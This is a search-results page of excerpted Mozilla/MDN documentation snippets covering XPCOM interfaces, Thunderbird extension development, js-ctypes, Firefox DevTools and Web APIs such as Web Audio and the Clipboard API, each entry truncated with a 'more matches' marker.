implemented by: @mozilla.org/import-export-service;1 as a service: var placesimportexportservice = components.classes["@mozilla.org/import-export-service;1"] .getservice(components.interfaces.nsiplacesimportexportservice); method overview void backupbookmarksfile(); void exporthtmltofile(in nsilocalfile afile); void importhtmlfromfile(in nsilocalfile afile, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromfiletofolder(in nsilocalfile afile, in print64 afolder, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromuri(in nsiuri auri, in boolean aisinitialimport); obsolete since gecko 14.0 methods backupbookmar...
... void exporthtmltofile( in nsilocalfile afile ); parameters afile an nsilocalfile indicating where to save the new bookmarks.html file.
... three nsiobserverservice notifications are fired as a result of the import.
...And 3 more matches
nsIResumableChannel
the request will not start until asyncopen or open is called.
... calling resumeat after open or asyncopen has been called has undefined behaviour.
... during onstartrequest, this channel will have a status of ns_error_not_resumable if the file cannot be resumed, for example because the server doesn't support this.
...And 3 more matches
nsIScreen
gecko 1.9.2 note starting in gecko 1.9.2, gecko running on microsoft windows reports 24 bits per pixel instead of 32 bits per pixel on 8-bits per color component displays, since this is typically what the caller is actually looking for.
... methods getavailrect() returns a rectangle indicating the portion of the screen that is available for use.
... note: this returns a rectangle representing the region of the screen that is available for application use.
...And 3 more matches
nsISpeculativeConnect
1.0 66 introduced gecko 15.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) to use this service, simply call nsisupports.queryinterface() on the nsiioservice you plan to use for the connection, to get access to the i/o service's implementation of nsispeculativeconnect.
... then call speculativeconnect() to let the networking layer know what you might be doing in the future.
... method overview void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget); methods speculativeconnect() call this method to hint to the networking layer that a new transaction for the specified uri is likely to happen soon.
...And 3 more matches
nsIStreamListener
method overview void ondataavailable(in nsirequest arequest, in nsisupports acontext, in nsiinputstream ainputstream, in unsigned long aoffset, in unsigned long acount); methods ondataavailable() this method is called when the next chunk of data for the ongoing request may be read without blocking the calling thread.
... the data can be read from the nsiinputstream object passed as the argument to this method.
...void ondataavailable( in nsirequest arequest, in nsisupports acontext, in nsiinputstream ainputstream, in unsigned long aoffset, in unsigned long acount ); parameters arequest an nsirequest indicating the source of the data.
...And 3 more matches
nsIStringEnumerator
inherits from: nsisupports last changed in gecko 1.7 method overview astring getnext(); boolean hasmore(); methods getnext() called to retrieve the next string in the enumerator.
... the "next" element is the first string upon the first call.
... must be preceded by a call to hasmoreelements() which returns pr_true.
...And 3 more matches
nsITaskbarPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can not directly instantiate this interface.
...method overview void invalidate(); attributes attribute type description active boolean indicates whether or not the preview is marked as active (currently selected) in the taskbar.
...the controller provides the behavior and appearance for the taskbar preview, and is responsible for determining the size and contents of the preview, which buttons are displayed, and how the application responds to user actions on the preview.
...And 3 more matches
nsIThreadPool
a listener will only receive notifications about threads created after the listener is set so it is recommended that the consumer set the listener before dispatching the first event.
... a listener that receives an nsithreadpoollistener.onthreadcreated() notification is guaranteed to always receive the corresponding nsithreadpoollistener.onthreadshuttingdown() notification.
... the thread pool takes ownership of the listener and releases it when the shutdown() method is called.
...And 3 more matches
nsIToolkitProfile
method overview nsiprofilelock lock(out nsiprofileunlocker aunlocker); void remove(in boolean removefiles); attributes attribute type description localdir nsilocalfile the location of the profile local directory, which may be the same as the root directory.
... see nsiprofilelock.localdirectory().
... rootdir nsilocalfile the location of the profile directory.
...And 3 more matches
nsIWebProgressListener2
esslistener method overview void onprogresschange64(in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress); boolean onrefreshattempted(in nsiwebprogress awebprogress, in nsiuri arefreshuri, in long amillis, in boolean asameuri); methods onprogresschange64() notification that the progress has changed for one of the requests associated with awebprogress.
... progress totals are reset to zero when all requests in awebprogress complete (corresponding to onstatechange being called with astateflags including the state_stop and state_is_window flags).
... this function is identical to nsiwebprogresslistener.onprogresschange(), except that this function supports 64-bit values.
...And 3 more matches
nsIXFormsModelElement
1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void refresh(); void revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned.
...recalculate() signals the xforms processor to perform a full recalculation of the given xforms model.
... note: script invocation is not necessarily equivalent to performing the recalculate action handler.
...And 3 more matches
XPIDL Syntax
MozillaTechXPIDLSyntax
simplifications, conventions and notation the syntax is specified according to abnf as defined by rfc 5234, although a few productions use prose for clarity of understanding.
... lexically, tokens are delimited by whitespace (defined here as spaces, tabs, vertical tabs, form feeds, line feeds, and carriage returns, or [ \t\v\f\r\n] in regular expression form).
... libidl only considers a single line feed as a newline, and not carriage returns (although xpidl begs to differ).
...And 3 more matches
Mozilla technologies
nt, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...it also introduces new user interfaces for managing all this information; see places on the mozilla wiki.preferences apithe publicity stream apithe publicity stream is a mozilla-hosted activity stream generated by a user's application usage.
... the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using.
...And 3 more matches
Testing Mozilla code
before you can even get your code committed into the source tree, you have to test it, and larger patches have to have automated tests.
... asan nightly projectthe asan nightly project involves building a firefox nightly browser with the popular addresssanitizer tool and enhancing it with remote crash reporting capabilities for any errors detected.clang static analysisthis document is split in two parts.
... the first part will focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrindthis page describes how to use valgrind (specifically, its memcheck tool) to find memory errors.firefox and address sanitizeraddress sanitizer (asan) is a fast memory error detector that detects use-after-free and out-of-bound bugs in c/c++ programs.
...And 3 more matches
LDAP Support
this document is intended to "fill in the gaps" about how enterprise customers can leverage and customize ldap support in mozilla thunderbird.
...it should be noted that all of this information applies to both thunderbird and the seamonkey application suite.
...in thunderbird, the type down window can be customized to show arbitrary ldap fields.
...And 3 more matches
MailNews Protocols
those protocols all have the following, defined in the corresponding protocol subdirectory of mailnews (i.e., mailnews/imap, mailnews/local (for pop3), mailnews/news): an incoming server class, which implements nsimsgincomingserver and inherits from mailnews/base/util/nsmsgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver.
...nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object.
...a protocol object that takes a url and handles the network communications with the actual server required to run that url.
...And 3 more matches
Building a Thunderbird extension 6: Adding JavaScript
( function() { startup(); }, 60000); //update date every minute function startup() { var mypanel = document.getelementbyid("my-panel"); var date = new date(); var day = date.getday(); var datestring = date.getfullyear() + "." + (date.getmonth()+1) + "." + date.getdate(); mypanel.label = "date: " + datestring; } the first part registers a new event listener that will be executed automatically when thunderbird loads.
... the event listener then calls our startup function which gets our <statusbarpanel>-element with the id my-panel from the document's dom tree.
...because the month is zero-based we also need to add one to the month.
...And 3 more matches
Demo Addon
overview this demo add-on has been created by jonathan protzenko for his presentation at mozcamp 2011.
... you can download it at the bottom of the page.
... because an account can have multiple identities of type nsimsgidentity and therefore multiple associated email addresses, with use fixiterator() again to go over all identities and get every email address.
...And 3 more matches
Finding the code for a feature
as an example, i received the following inquiry, and i decided to follow my usual path and document what i do: hello i would like to add colours and tags to specific emails...by using nsimsgtagservice, can this be done?
...(for debug builds, you can make it appear by default using "ac_add_options --enable-extensions=default,venkman,inspector" which is part of my standard configuration).
...repeating this process, i see that the submenu items all call a function togglemessagetagmenu.
...And 3 more matches
Using tab-modal prompts
the updated prompt documentation can be found in the firefox source docs.
... disabling tab-modal prompts you can disable tab-modal prompts and get back window-modal prompts by setting the prompts.tab_modal.enabled preference to false.
...you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window.
...And 3 more matches
Type conversion
implicit convert in js-ctypes, data could be converted implicitly when passing to or returning from a functiontype call, or setting pointer content, an array element or a struct field.
... var buffer = ctypes.char.array(10)(); var somecfunction = library.declare("somecfunction", ctypes.default_abi, ctypes.void_t, ctypes.char.ptr); somecfunction(buffer); // here ctypes.char.array(10)() is converted to ctypes.char.ptr type implicit conversion can be tested in the following way: var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.bool } ])(); mystruct.v = 1; console.log(mystruct.v.tostring()); // 'true' boolean type target type source converted value ctypes.bool js boolean src js number (0 or 1) if src == 0: false if src == 1: true var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.bool } ])(); mystruct.v = true; console.log(mystruct.v.tostring()); // 'true' mystruct.v = false; cons...
...ypes.int16_t.ptr(ctypes.uint64("0x11d6ff400"))' mystruct.v = null; console.log(mystruct.v.tostring()); // 'ctypes.int16_t.ptr(ctypes.uint64("0x0"))' mystruct.v = ctypes.int32_t.array(10)(); // throws error only in functiontype argument, the following rules are also applied: target type source converted value ctypes.char.ptr js string pointer to temporary allocated null-terminated utf8 string ctypes.signed_char.ptr ctypes.unsigned_char.ptr ctypes.char16.ptr js string pointer to temporary allocated null-terminated utf16 string any pointer types any arraybuffer object pointer to the arraybuffer ctypes.voidptr_t any typedarray/dataview object pointer to the typedarray/dataview ctypes.ch...
...And 3 more matches
CData
a cdata object represents a c value or function located in memory.
...this will throw a typeerror exception if the value can't be converted.
... methods available on string objects these methods must be called on objects that are arrays or pointers to 8-bit or 16-bit character or integer types, terminated by a null character.
...And 3 more matches
Preferences System
reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
... ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay.
... you should be careful to read the higs for the platforms you are targeting and use the xul preprocessor if necessary to set different window titles as appropriate.
...And 3 more matches
Color vision simulation - Firefox Developer Tools
"color blindness" is a bit of a misnomer, since most people with these disorders can see colors, but do not see all of the distinctions that people with normal color vision can see; color vision deficiencies affect perception across the color spectrum, not only of specific colors like red or green.
...the most common forms of color blindness (commonly lumped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the x chromosome, which men usually have only one copy of.
... contrast sensitivity loss can be caused by cataracts, glaucoma, diabetic retinopathy, and other disorders of the retina; it can be age-related, congenital, or due to an injury.
...And 3 more matches
Inspecting web app manifests - Firefox Developer Tools
in this article we will look at inspecting app manifests using the firefox devtools application panel.
... when you open the application panel’s manifest view on a page that doesn't have an app manifest successfully deployed, you'll get the following output shown: deploying a manifest to get a manifest deployed successfully, you need to include a <link> element in the <head> of your document that points to your .webmanifest file: <link rel="manifest" href="/manifest.webmanifest"> the .webmanifest extension is recommended in the spec, and should be served with an application/manifest+json mime type, although browsers generally tend to support manifests with other appropriate extensions like .json (mime type: application/json).
...you can test this using the web manifest validator.
...And 3 more matches
Set an XHR breakpoint - Firefox Developer Tools
an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program.
... you can break on all requests or on those that include a specific url.
... to turn on the feature: open the debugger click on "pause on any url" which acts as a wild card, causing the code to pause on any call, or, click the plus sign next to the xhr breakpoints header, enter the url in which you are interested, and press enter.
...And 3 more matches
Set event listener breakpoints - Firefox Developer Tools
starting with firefox 69, debugging an application that includes event handlers is simplified because the debugger now includes the ability to automatically break when the code hits an event handler.
... so if we choose to log keyboard events, for example, the code no longer pauses as each event is fired: instead, we can then switch to the console, and whenever we press a key we are given a log of where related events were fired.
...instead, it’d be far more useful if we showed where in our own app code is calling the jquery that fired the event.
...And 3 more matches
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
clicking the icon toggles the display of a grid overlay on the page, which appears over the element, laid out like a grid to show the position of its grid lines and tracks: the overlay is still shown when you select other elements, so you can edit related css properties and see how the grid is affected.
...you can find out more about those in the section below.
... note: the layout view can be found underneath the layout tab on the right-hand pane of the page inspector.
...And 3 more matches
UI Tour - Firefox Developer Tools
the select element button is one way you can select an element for inspection: note that it's actually part of the main toolbox toolbar, so it's immediately accessible from any tool, not just the inspector.
...you can toggle the 3-pane view of the inspector.
... the following image shows the 2-pane layout: in 2-pane mode, the inspector includes the html pane, and the css pane, which can contain one of six tools: rules view layout view computed view changes view compatibility view (firefox developer edition 77 and later) fonts view animations view the following image shows the 3-pane mode (available from firefox 62 onwards) which moves the css rules view into a separate pane in the center of the inspector.
...And 3 more matches
Performance - Firefox Developer Tools
you get four sub-tools to examine aspects of the profile in more detail: the waterfall shows the different operations the browser was performing, such as executing layout, javascript, repaints, and garbage collection the call tree shows the javascript functions in which the browser spent most of its time the flame chart shows the javascript call stack over the course of the recording the allocations view shows the heap allocations made by your code over the course of the recording.
... this view only appears if you checked "record allocations" in the performance tool settings.
... call tree find bottlenecks in your site's javascript.
...And 3 more matches
View Source - Firefox Developer Tools
view source features view source has three additional features, which can be accessed from the context menu in the view source tab: go to line scrolls to the specified line.
... not all parse errors are reported even though all the reported errors are parse errors according to the html specification, not all parse errors are reported by view source.
...while the tokenizer has support for processing instructions when highlighting xml source, that's the only xml-specific capability provided.
...And 3 more matches
Web Console UI Tour - Firefox Developer Tools
toolbar the toolbar across the top contains a number of features: garbage can: click this icon to clear the contents of the console.
... filter categories: you can click a filter category (such as errors, warnings, css, or xhr) to display just those types of messages.
... settings ("gear" menu): new in firefox 71, you can click the gear icon to access the new settings menu, where you can toggle the following features on and off: persist logs: when enabled, the console doesn't clear on page reload, or new page load.
...And 3 more matches
AbsoluteOrientationSensor - Web APIs
the absoluteorientationsensor constructor creates a new absoluteorientationsensor object which describes the device's physical orientation in relation to the earth's reference coordinate system.
... if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... syntax var absoluteorientationsensor = new absoluteorientationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
...And 3 more matches
AbsoluteOrientationSensor - Web APIs
the absoluteorientationsensor interface of the sensor apis describes the device's physical orientation in relation to the earth's reference coordinate system.
... if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
...because the permissions uses promises, a good way to request permissions is to use promise.all.
...And 3 more matches
Ambient Light Events - Web APIs
the ambient light events are a handy way to make a web page or an application aware of any change in the light intensity.
...when the browser gets such a notification, it fires a devicelightevent event that provides information about the exact light intensity (in lux units).
... this event can be captured at the window object level by using the addeventlistener method (using the devicelight event name) or by attaching an event handler to the window.ondevicelight property.
...And 3 more matches
Animation.persist() - Web APIs
WebAPIAnimationpersist
the persist() method of the web animations api's animation interface explicitly persists an animation, when it would otherwise be removed due to the browser's automatically removing filling animations behavior.
... examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
...for this reason, modern browsers automatically remove overriding forward filling animations.
...And 3 more matches
Animation.playbackRate - Web APIs
animations have a playback rate that provides a scaling factor from the rate of change of the animation's timeline time values to the animation’s current time.
... syntax var currentplaybackrate = animation.playbackrate; animation.playbackrate = newrate; value takes a number that can be 0, negative, or positive.
...the value is a scaling factor, so for example a value of 2 would double the playback rate.
...And 3 more matches
Animation.replaceState - Web APIs
the value can be one of: active: the initial value of the animation's replace state; when the animation has been removed by the browser's automatically removing filling animations behavior.
... examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
...for this reason, modern browsers automatically remove overriding forward filling animations.
...And 3 more matches
AnimationEffect.getComputedTiming() - Web APIs
the getcomputedtiming() method of the animationeffect interface returns the calculated timing properties for this animation effect.
... although many of the attributes of the returned object are common to the effecttiming contained in the object returned by the animationeffect.gettiming() method, the values returned by this object differ in the following ways: duration returns the calculated value of the iteration duration.
...(also includes effecttiming.enddelay in that calculation.) activeduration the length of time in milliseconds that the animation's effects will run.
...And 3 more matches
AudioBufferSourceNode.start() - Web APIs
using this parameter is functionally identical to calling start(when, offset) and then calling stop(when+duration).
... invalidstateerror start() has already been called.
... you can only call this function once during the lifetime of an audiobuffersourcenode.
...And 3 more matches
AudioContext.createMediaStreamDestination() - Web APIs
the createmediastreamdestination() method of the audiocontext interface is used to create a new mediastreamaudiodestinationnode object associated with a webrtc mediastream representing an audio stream, which may be stored in a local file or sent to another computer.
...this stream can be used in a similar way as a mediastream obtained via navigator.getusermedia — it can, for example, be sent to a remote peer using the rtcpeerconnection addstream() method.
...stopping the mediarecorder causes the dataavailable event to fire, and the event data is pushed into the chunks array.
...And 3 more matches
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and manipulated.
... note: you can see this example running live, or view the source.
... var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { ...
...And 3 more matches
AudioDestinationNode - Web APIs
it can also be the node that will "record" the audio data when used with an offlineaudiocontext.
... audiodestinationnode has no output (as it is the output, no more audionode can be linked after it in the audio graph) and one input.
... the audiodestinationnode of a given audiocontext can be retrieved using the audiocontext.destination property.
...And 3 more matches
AudioListener.speedOfSound - Web APIs
the speedofsound property's default value is 343.3 m/s and is used to calculate the doppler shift appropriate for the speed the panner is travelling at (as defined by pannernode.setvelocity.) note: bear in mind that no propagation delay is automatically applied to a sound far from the listener.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 3 more matches
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
the connect() method of the audionode interface lets you connect one of the node's outputs to a target, which may be either another audionode (thereby directing the sound data to the specified node) or an audioparam, so that the node's output data is automatically used to change the value of that parameter over time.
...while you can only connect a given output to a given input once (repeated attempts are ignored), you can connect an output to multiple inputs by calling connect() repeatedly.
... return value if the destination is a node, connect() returns a reference to the destination audionode object, allowing you to chain multiple connect() calls.
...And 3 more matches
AudioScheduledSourceNode.start() - Web APIs
a value of 0 (or omitting the when parameter entirely) causes the sound to start playback immediately.
... offset optional a floating-point number indicating the offset, in seconds, into the audio buffer where playback should begin.
... duration optional a floating-point number indicating the duration, in seconds, to be played.
...And 3 more matches
AudioTrackList.onchange - Web APIs
the audiotracklist property onchange is an event handler which is called when the change event occurs, indicating that one or more of the audiotracks in the audiotracklist have been enabled or disabled.
... note: you can also add a handler for the change event using addeventlistener().
... syntax audiotracklist.onchange = eventhandler; value set onchange to a function that should be called whenever tracks are enabled or disabled on the media element.
...And 3 more matches
BaseAudioContext.createPanner() - Web APIs
example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
...And 3 more matches
BaseAudioContext.createScriptProcessor() - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and was replaced by audioworklet (see audioworkletnode).
... this value controls how frequently the audioprocess event is dispatched and how many sample-frames need to be processed each call.
... important: webkit currently (version 31) requires that a valid buffersize be passed when calling this method.
...And 3 more matches
BiquadFilterNode - Web APIs
it is an audionode that can represent different kinds of filters, tone control devices, and graphic equalizers.
... indicates how peaked the frequency is around the cutoff.
... indicates how peaked the frequency is around the cutoff.
...And 3 more matches
Bluetooth.requestDevice() - Web APIs
the available options are: filters[]: an array of bluetoothscanfilters.
... acceptalldevices: a boolean indicating that the requesting script can accept all bluetooth devices.
...for example, it is called from insecure origin.
...And 3 more matches
CSSPrimitiveValue.setFloatValue() - Web APIs
if the property attached to this value can't accept the specified unit or the float value, the value will be unchanged and a domexception will be raised.
...the value can be obtained by using the getfloatvalue method.
... css_pc the value is a <length> in picas.
...And 3 more matches
CSS Typed Object Model API - Web APIs
generally, css values can be read and written in javascript as strings, which can be slow and cumbersome.
... css typed object model api provides interfaces to interact with underlying values, by representing them with specialized js objects that can be manipulated and understood more easily and more reliably than string parsing and concatenation.
... this is easier for authors (for example, numeric values are reflected with actual js numbers, and have unit-aware mathematical operations defined for them).
...And 3 more matches
Clipboard.write() - Web APIs
WebAPIClipboardwrite
this can be used to implement cut and copy functionality.
... the "clipboard-write" permission of the permissions api, is granted automatically to pages when they are in the active tab.
...the key of the object passed to the clipboarditem constructor indicates the content type, the value indicates the content.
...And 3 more matches
Comment - Web APIs
WebAPIComment
in xml, the character sequence '--' cannot be used within a comment.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/nod...
... specifications specification status comment domthe definition of 'comment' in that specification.
...And 3 more matches
console.count() - Web APIs
WebAPIConsolecount
the console.count() method logs the number of times that this particular call to count() has been called.
...if supplied, count() outputs the number of times it has been called with that label.
... if omitted, count() behaves as though it was called with the "default" label.
...And 3 more matches
ConstantSourceNode.offset - Web APIs
the read-only offset property of the constantsourcenode interface returns a audioparam object indicating the numeric a-rate value which is always returned by the source when asked for the next sample.
...so you can change the value of offset by setting the value of constantsourcenode.offset.value: myconstantsourcenode.offset.value = newvalue; syntax let offsetparameter = constantaudionode.offset; let offset = constantsourcenode.offset.value; constantsourcenode.offset.value = newvalue; value an audioparam object indicating the a-rate value returned for every sample by this node.
... example this example shows how to set up a constantsourcenode so its offset is used as the input to a pair of gainnodes; this snippet is derived from the complete example you can find in controlling multiple parameters with constantsourcenode.
...And 3 more matches
ConstrainDOMString - Web APIs
you can also specify a single string (or an array of strings) which the user agent will do its best to match once all more stringent constraints have been applied.
... properties the value of a constraindomstring can be any of the following: a single domstring an array of domstring objects an object with one or both of the following properties: exact either a single domstring which must be the value of the property, or an array of domstring objects one of which must be the property's value.
... if the property can't be set to one of the listed values, matching will fail.
...And 3 more matches
Crypto.getRandomValues() - Web APIs
the crypto.getrandomvalues() method lets you get cryptographically strong random values.
... getrandomvalues() is the only member of the crypto interface which can be used from an insecure context.
... exceptions this method can throw an exception under error conditions.
...And 3 more matches
DOMPointReadOnly() - Web APIs
the dompointreadonly() constructor returns a new dompointreadonly object representing a point in 2d or 3d space, optionally with perspective, whose values cannot be altered by script code.
... y optional the value of the vertical coordinate, y, as a floating point number.
... note: each of these values is what's called an unrestricted number.
...And 3 more matches
DisplayMediaStreamConstraints.video - Web APIs
this value may simply be a boolean, where true specifies that a default selection of input source be made (typically the entire display area of the device in use, spanning every screen in a multiple screen configuration).
... if a boolean is specified, a value of true (the default) indicates that the stream returned by getdisplaymedia() should be in whatever format the user agent feels is best.
...this may be a single one of the following strings, or a list of them to allow multiple source surfaces: application the stream contains all of the windows of the application chosen by the user rendered into the one video track.
...And 3 more matches
Document.createAttribute() - Web APIs
the dom does not enforce what sort of attributes can be added to a particular element in this manner.
... the string given in parameter is converted to lowercase.
... example var node = document.getelementbyid("div1"); var a = document.createattribute("my_attrib"); a.value = "newval"; node.setattributenode(a); console.log(node.getattribute("my_attrib")); // "newval" specifications specification status comment domthe definition of 'document.createattribute()' in that specification.
...And 3 more matches
Document.hasStorageAccess() - Web APIs
the hasstorageaccess() method of the document interface returns a promise that resolves with a boolean value indicating whether the document has access to its first-party storage.
... return value a promise that resolves with a boolean value indicating whether the document has access to its first-party storage.
... if the promise gets resolved and a user gesture event was being processed when the function was originally called, the resolve handler will run as if a user gesture was being processed, so it will be able to call apis that require user activation.
...And 3 more matches
Document.lastModified - Web APIs
let olastmodif = new date(document.lastmodified); transforming lastmodified into milliseconds this example transforms lastmodified into the number of milliseconds since january 1, 1970, 00:00:00, local time.
... let nlastmodif = date.parse(document.lastmodified); notes note that as a string, lastmodified cannot easily be used for comparing the modification dates of documents.
... here is a possible example of how to show an alert message when the page changes (see also: javascript cookies api): if (date.parse(document.lastmodified) > parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; alert("this page has changed!"); } …the same example, but skipping the first visit: var nlastvisit = parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), nlastmodif = date.parse(document.lastmodified); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pa...
...And 3 more matches
Document.open() - Web APIs
WebAPIDocumentopen
document.open(); document.write("<p>hello world!</p>"); document.write("<p>i am a fish</p>"); document.write("<p>the number is 42</p>"); document.close(); notes an automatic document.open() call happens when document.write() is called after the page has loaded.
...this is no longer the case.document non-spec'ed parameters to document.open gecko-specific notes starting with gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.
...as a result, you can no longer call document.write() into an untrusted document from chrome, even using wrappedjsobject.
...And 3 more matches
DocumentType - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
... specifications specification status comment domthe definition of 'documenttype' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'documenttype' in that specification.
...And 3 more matches
How to create a DOM tree - Web APIs
it applies to all gecko-based applications (such as firefox) both in privileged (extensions) and unprivileged (web pages) code.
... dynamically creating a dom tree consider the following xml document: <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="h" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" city="denver" state="co" country="usa"/> </person> </people> the w3c dom api, supported by mozilla, can be used to create an in-memory representation of this document like so: var doc = document.implementation.createdocumen...
... you can automate the creation of a dom tree using a jxon reverse algorithm in association with the following json representation: { "people": { "person": [{ "address": [{ "@street": "321 south st", "@city": "denver", "@state": "co", "@country": "usa" }, { "@street": "123 main st", "@city": "arlington", "@state": "ma", "@c...
...And 3 more matches
Element: auxclick event - Web APIs
